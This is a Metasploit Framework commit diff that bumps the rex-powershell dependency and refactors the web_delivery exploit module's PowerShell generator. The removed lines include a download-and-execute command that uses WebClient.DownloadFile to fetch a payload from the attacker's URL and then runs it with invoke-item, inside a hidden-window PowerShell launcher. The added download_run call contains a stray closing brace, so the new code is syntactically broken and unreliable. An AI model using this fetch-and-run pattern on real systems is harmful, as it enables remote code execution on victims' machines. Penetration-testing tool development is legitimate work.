Move over to rex-powershell and version bump

Version bump for:
- rapid7/rex-powershell#10
- rapid7/rex-powershell#11

Author: g0tmi1k

metasploit-framework.gemspec

@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
   # Library for Generating Randomized strings valid as Identifiers such as variable names
   spec.add_runtime_dependency 'rex-random_identifier'
   # library for creating Powershell scripts for exploitation purposes
-  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
+  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
   # Library for processing and creating Zip compatbile archives
   spec.add_runtime_dependency 'rex-zip'
   # Library for parsing offline Windows Registry files

modules/exploits/multi/script/web_delivery.rb

@@ -149,7 +149,6 @@ def gen_psh(url, *method)
 
       if method.include? 'string'
         download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
-        download_and_run = "#{ignore_cert}#{download_string}"
       else
         # Random filename to use, if there isn't anything set
         random = "#{rand_text_alphanumeric 8}.exe"
@@ -164,13 +163,11 @@ def gen_psh(url, *method)
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        #download_string = Rex::Powershell::PshMethods.download(url, "$z")  # Can't use, due to single vs double quotes in the URL
-        download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
-
-        # Join PowerShell commands up
-        download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
+        download_string = Rex::Powershell::PshMethods.download_run(url, file})
       end
 
+      download_and_run = "#{ignore_cert}#{download_string}"
+
       # Generate main PowerShell command
       return generate_psh_command_line(noprofile: true,
                                        windowstyle: 'hidden',